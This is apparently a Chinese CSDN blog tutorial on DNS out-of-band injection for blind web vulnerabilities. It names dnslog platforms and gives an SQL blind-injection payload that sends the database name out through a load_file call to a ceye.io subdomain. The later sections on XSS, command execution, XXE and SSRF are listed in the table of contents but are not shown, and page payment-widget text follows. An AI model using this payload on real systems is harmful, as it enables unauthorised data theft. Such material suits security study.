dns带外注入

DNS带外注入是一种在web漏洞无回显情况下,通过DNS日志获取查询内容的技术。本文介绍DNS带外注入的概念,常用的dnslog平台,并通过联合sql盲注、xss、命令执行和xxe、ssrf的实例展示其应用,帮助安全研究人员更有效地利用这种技术。
摘要由CSDN通过智能技术生成

目录

 前言

一、DNS带外注入是什么?

二、dnslog的常见平台

三、实战

1. 联合sql盲注

2.联合xss

 3.命令执行

4.xxe和ssrf

总结

参考资料




 

 前言

        我们常见的sql注入、xss、xxe、ssrf等web漏洞都会存在无回显的情况,为了更方便的获取到查询的内容,因此有了DNS带外注入。



一、DNS带外注入是什么?

        DNS即域名解析协议,用于ip和域名之间的相互解析,而dnslog就是记录了你对此域名或者ip的访问信息(即日志记录),在上述漏洞的盲注中,我们将查询结果拼接到dns服务器域名上面进行请求,那么dns服务器就会收到拼接后的字符串,也就看到了回显的结果,完成盲注。




二、dnslog的常见平台

http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

三、实战

1. 联合sql盲注

        如某个注入点为?id=1,则在之后拼接上and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'))),1,1)--+,然后就可以在ceye服务器上接收到需要查询的数据,需要注意的是这里的数据库权限必须有load_file权限,最好是root,可以用show global variables like '%secure%',secure_file_priv必须为空才能读取文件,为null则不能读取文件

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值